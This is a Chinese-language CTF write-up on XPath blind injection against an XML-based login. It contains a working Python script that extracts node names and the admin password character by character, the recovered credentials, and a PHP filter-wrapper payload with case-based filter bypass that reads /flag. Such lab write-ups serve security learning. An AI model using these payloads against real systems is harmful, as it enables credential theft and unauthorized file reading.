知识点:xml中的xpath盲注
分析
根据请求可以看出这应该是一个 xml 格式的数据。
利用 xpath 盲注,结合 xpath 语法一个一个节点的查。
poc
import requests
from lxml import etree
import time
url = 'http://1fae3303-ca93-435e-b1b4-d18cbfd99948.node4.buuoj.cn:81/login.php'
str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
name = ''
for i in range(1,50):
for j in str:
time.sleep(0.1)
s = requests.session()
req = s.post(url)
req.encoding = 'utf-8'
html = etree.HTML(req.text)
token = html.xpath('//div[@class="form"]/input[@id="token"]/@value')
token = "".join(token)
#盲注根节点
#payload = f"'or substring(name(/*[1]), {i}, 1)='{j}' or ''='"
# 判断root子节点数量,其他同理
#payload = "'or count(/root/*)=1 or ''='"
#猜子节点
#payload = f"'or substring(name(/root/*[1]), {i}, 1)='{j}' or ''='"
#payload = f"'or substring(name(/root/accounts/*[1]), {i}, 1)='{j}' or ''='"
#判断user节点数量
#payload = "'or count(/root/accounts/user)=2 or ''='"
#判断user子节点数量
#payload = "'or count(/root/accounts/user[2]/*)=3 or ''='"
#盲注user子节点名字
#payload = f"'or substring(name(/root/accounts/user[2]/*[3]), {i}, 1)='{j}' or ''='"
#用户名
#payload = f"'or substring(/root/accounts/user[2]/username/text(), {i}, 1)='{j}' or ''='"
#密码
payload = f"'or substring(/root/accounts/user[2]/password/text(), {i}, 1)='{j}' or ''='"
data = f"<username>{payload}</username><password>admin</password><token>{token}</token>"
headers = {
'Content-Type': 'application/xml'
}
req_name = s.post(url,data=data,headers=headers)
#print(req_name.text)
if '非法操作' in req_name.text:
name += j
print(name)
break
但是没想到密码还是一个付费的 MD5 解密。
adm1n
gtfly123
登录后可以看到一个 file 参数,那么直接伪协议先读一遍呗。
测试后发现有过滤,但是不多,可以用大写绕过,对返回的数据也有过滤,可以用过滤器绕过。
PHP://filter/string.toupper/resource=/flag
最后把 flag 转换为小写就可以了。
reference
https://xz.aliyun.com/t/7791#toc-6